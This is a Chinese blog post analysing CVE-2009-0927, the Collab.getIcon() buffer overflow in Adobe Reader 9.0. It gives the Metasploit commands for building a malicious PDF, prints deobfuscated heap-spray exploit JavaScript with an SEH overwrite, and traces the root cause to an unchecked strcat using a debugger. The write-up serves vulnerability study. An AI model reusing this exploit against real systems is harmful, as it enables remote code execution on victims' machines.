CVE-2009-0927-Adobe Reader缓冲区溢出漏洞分析
0x00概述:
此漏洞的成因是由于Adobe Reader在处理PDF文档中所包含的JavaScript脚本时的Collab对象的getlcon()方式不正确处理输入的参数,而产生的缓冲区溢出,成功利用可导致远程代码执行.
0x01测试环境:
- OS–Windows XP sp3
- Adobe Reader 9.0
0x02漏洞分析:
首先用msf
生成样本,具体如下
> msf5 > search cve-2009-0927
> exploit/windows/browser/adobe_geticon 2009-03-24 good No Adobe Collab.getIcon() Buffer Overflow
> exploit/windows/fileformat/adobe_geticon 2009-03-24 good No Adobe Collab.getIcon() Buffer Overflow
> msf5 > use exploit/windows/fileformat/adobe_geticon
> msf5 exploit(windows/fileformat/adobe_geticon) > set payload windows/exec
> payload => windows/exec
> msf5 exploit(windows/fileformat/adobe_geticon) > set cmd calc.exe
> cmd => calc.exe
> msf5 exploit(windows/fileformat/adobe_geticon) > run
生成样本以后,运行一下成功弹出计算器,之后我们用PDFStreamDump
打开,在对象5处可以看到样本中包含的payload,dump下来之后,发现payload中的js用了超长变量名,不利于阅读代码,把变量名替换以后,得到如下可读代码
var shellcode = unescape("%u4096%ud6f9%u9147%ufd98%ufd9b%uf840%u9047......");
var nopblock = "";
# 布置堆的内容
for (i = 128; i >= 0; --i)
{
nopblock += unescape("%u9090%u9090");
}
buff = nopblock + shellcode;
nop = unescape("%u9090%u9090");
headersize = 20;
acl = headersize + buff.length;
while (nop.length < acl)
{
nop += nop;
}
fillblock = nop.substring(0, acl);
block = nop.substring(0, nop.length - acl);
while (block.length + acl < 0x40000)
{
block = block + block + fillblock;
}
memory = new Array();
for (j = 0; j < 1450; j++)
{
memory[j] = block + buff;
}
# 用0x0a0a0a0a占领SEH
var ret_addr = unescape("%0a");
while (ret_addr.length < 0x4000)
{
ret_addr += ret_addr;
}
ret_addr = "N." + ret_addr; //注意这里的 N.
Collab.getIcon(ret_addr);
由shellcode可以看出这里用的方法是Heap Spray
,在堆的开始布置了大量的nop指令,结尾是shellcode,接下来用OllyDbg附加Adobe Reader9.0,执行生成的样本,发现程序被断下来,提示13000
地址无法写入错误,同时栈的内容能看到最近的函数调用,2210FE4E
这个函数是我们常见的危险函数strcat
的返回地址,溢出的地方极有可能在这里.
我们查看当前程序加载的动态链接库,看到以22100000
开始的地址在annots.api
这个文件中.
我们用IDA打开这个文件,通过地址找到strcat
所在位置,查看崩溃函数的上下文内容,如图所示,strrchr
函数返回的是一个指向传入参数中最后一个.之后的字符串的指针(这里也就明白了为什么POC中的开头要用N.
了),接着未做长度检查直接调用了strcat
,导致了溢出发生.
为了验证我们的猜想,接下来用OD动态调试,已确认我们的判断,这一次,在附加了Adobe Reader以后,我们在2210FE49
这个位置下一个断点,观察数据传入的变化,随后打开样本,程序被调试器断下,根据笔者的调试经验,第一次断下并看不到传入的数据,这里直接按F9四次以后,在堆栈模块很明显会看到我们熟悉的数据和目的数组,如图
0x03漏洞利用:
关于Heap Spray
这里不再过多作介绍,由于这个版本的没有开启DEP
机制,所以关于这里的情形通常有两种劫持EIP的方式
- 覆盖函数的返回地址
- 覆盖异常处理函数的指针
首先介绍一下第一种,覆盖函数返回地址的方式是很通用的方式,在这里只需要找到最近的一个函数的返回地址,然后计算到覆盖返回地址需要的数据长度即可,但这里最好不考虑这种方式,因为我们还需要计算数据的长度,稍微麻烦了一些.笔者推介用第二种方案,覆盖异常处理函数指针的方式来达到目的,用这种方法的好处就避免了计算数据长度,我们估算一个合适的长度(一般SEH指针离函数的位置较远,这里合适选择四五千的样子,这里的POC给出的是四千),我们来看下覆盖前后的对比
随后,想要见证一步一步直到控制EIP的只需要一步一步跟,不要忽略每个可能的函数,可能要浪费点时间,最终一定会看到EIP = 0x0c0c0c0c
,如下图
最新文章
- hadoop2.7.3配置文件中过时的属性
- java: Thread 和 runnable线程类
- 用 Navicat 写mysql的游标
- js 闭包理解
- SharePoint自动化系列——Add/Remove “Hold” from items
- mongodb的监控与性能优化
- SinoSure
- Myeclipse中tomcat所应用的JDK设置
- Devexpress 汉化 代码 zt
- Eclipse使用技巧总结(三)
- zepto源码分析系列
- 转:C++输入一行字符串的一点小结
- 西安电话面试:谈谈Vue数据双向绑定原理,看看你的回答能打几分
- SpringMVC 教程 - Handler Method
- Nginx的负载均衡 - 保持会话 (ip_hash)
- H5学习之旅-H5的块标签的使用(9)
- 毕业样本=[威尔士大学毕业证书]UWIC原件一模一样证书
- zookeeper基本命令
- oldboy es和logstash
- linx下对文件权限设置
热门文章
- 滴滴AR实景导航背后的技术
- Django启动框架自带原始页面(Django一)
- [剑指Offer]65-不用加减乘除做加法
- JVM初认识
- MySQL索引的基本操作
- python 进程(池)、线程(池)
- 初识ABP vNext(11):聚合根、仓储、领域服务、应用服务、Blob存储
- 报错: Failed to establish a new connection: [WinError 10061] 由于目标计算机积极拒绝,无法连接。&#39;))
- 微服务实战系列(十)-网关高可用之中间件Keepalived
- JD-GUI反编译jar包为Java源代码